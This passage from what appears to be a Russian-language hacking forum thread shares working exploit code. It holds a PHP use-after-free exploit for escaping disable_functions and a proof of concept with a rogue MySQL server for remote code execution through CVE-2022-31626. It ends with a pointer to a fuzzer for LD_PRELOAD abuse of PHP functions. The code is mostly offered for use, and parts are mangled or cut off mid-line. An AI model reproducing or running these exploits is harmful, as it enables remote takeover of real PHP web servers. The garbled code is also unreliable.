        return $buf;
    }

    private function free($addr) {
        $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
        $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
       
        $arr = [[], []];
        set_error_handler(function() use (&$arr, &$buf, &$payload) {
            $arr = 1;
            $buf = str_repeat($payload, 1);
        });
        $arr[1] .= "x";
    }

    private function rel_read($offset) {
        return self::str2ptr($this->abc, $offset);
    }

    private function rel_write($offset, $value, $n = 8) {
        for ($i = 0; $i abc[$offset + $i] = chr($value & 0xff);
            $value >>= 8;
        }
    }

    private function read($addr, $n = 8) {
        $this->rel_write(0x10, $addr - 0x10);
        $value = strlen($this->helper->a);
        if($n !== 8) { $value &= (1 read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20180731, 20190902, 20200930, 20210902])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    self::log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function log($format, $val = "") {
        if(self::LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat("A", $size));
    }

    static function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address


crlf 26.06.2022 19:36

mysqlnd/pdo password buffer overflow leading to RCE ([I]
.SpoilerTarget" type="button">Spoiler: README.md
Remote Exploitation Technique For CVE 2022-31626


Bug summary

We present new technique for remote exploitation of heap overflow in PHP web applications.

PHP bug #81719 is remote exploitable with this technique in PHP
.SpoilerTarget" type="button">Spoiler: exploit_poc.py

[CODE]
Code:
import struct
import requests

'''
Authors: Daniil Sadyrin (http://twitter.com/cyberguru007), Alexey Moskvin
https://github.com/CFandR-github
'''

'''
Set sapi_ub_write var with address of sapi_module.ub_write symbol in exploit_poc.py
Set system var in rogue_sql_server.py with address of system symbol

Set need_memleak var with 1 in both exploit_poc.py and rogue_sql_server.py to get memory leak.
Set to 0 for code execution

PHP process heap can have differences depending on environment / configuration.
To prepare heap, play with POST parsing: add or remove some variables in "payload" array.
'''

N = 23
BIN = 160
need_memleak = 0

payload = [ ('server', '127.0.0.1'), ('username', 'root'), ('db', 'php'), ('password', 'v' * (9 * 0x1000 - 4)) ]

for i in range(N):
payload.append(('key%s' % i , chr(ord('B') + i) * (0x1000 - 100)))

if need_memleak:
#memleak
payload.append(('hi1', 'T' * (135 - 24 - 3)))
payload.append(('hi2', 'T' * (135 - 24 - 3)))
payload.append(('hi3', 'T' * (135 - 24 - 3)))
payload.append(('hi4', 'T' * (135 - 24 - 3)))
payload.append(('hi5', 'T' * (135 - 24 - 3)))
payload.append(('hi6', 'T' * (135 - 24 - 3)))
payload.append(('hi7', 'T' * (135 - 24 - 3)))

else:
#rce
sapi_ub_write = 0x7f6eb66071b0

fake_chunk = ('Y' * 0x48).encode('utf-8')
fake_chunk += struct.pack('

.SpoilerTarget" type="button">Spoiler: rogue_sql_server.py

[CODE]
Code:
import os
import sys
import struct
import socket
import warnings
import asynchat
import asyncore

from mysql_constants import *

'''
Authors: Daniil Sadyrin (http://twitter.com/cyberguru007), Alexey Moskvin
https://github.com/CFandR-github
'''

class Packet:
def __init__(self):
pass

def pack_1_byte(self, v):
return struct.pack('B', v)

def pack_2_bytes(self, v):
return struct.pack('BB', v & 0xff, v >> 8)

def pack_3_bytes(self, v):
return struct.pack('BBB', v & 0xff, (v >> 8) & 0xff, (v >> 16) & 0xff)

def pack_4_bytes(self, v):
return struct.pack('I', v)

def pack(self, nested = True):
if hasattr(self, 'get_to_str'):
self.data = self.get_to_str()
else:
raise Exception("Eror")

if not nested:
r = ''
r += self.pack_3_bytes(len(self.data))
r += self.pack_1_byte(self.num)
r += self.data
else:
r = self.data
return r

class LengthEncodedInteger(Packet):
def __init__(self, value):
self.value = value

def get_to_str(self):
if self.value = 251 and self.value = (1= (1

Writeup

VY_CMa 16.08.2022 00:09

Один индус Tarunkant Gupta решил провести эксперимент и повызывать пыхные функи передавая разные параметры и мониторя сисколы execve.

Вроде нашел 4 штуки, которые можно эксплоитить через LD_PRELOAD (mb_send_mail,imap_mail,libvirt_connect,gnupg_init ) Первые две мы знаем, других в паблике пока не видел.

Еще не проверял, но выглядит реалистично.

Код фаззера с познавательной ридми: https://github.com/tarunkant/fuzzphunc


Время: 22:42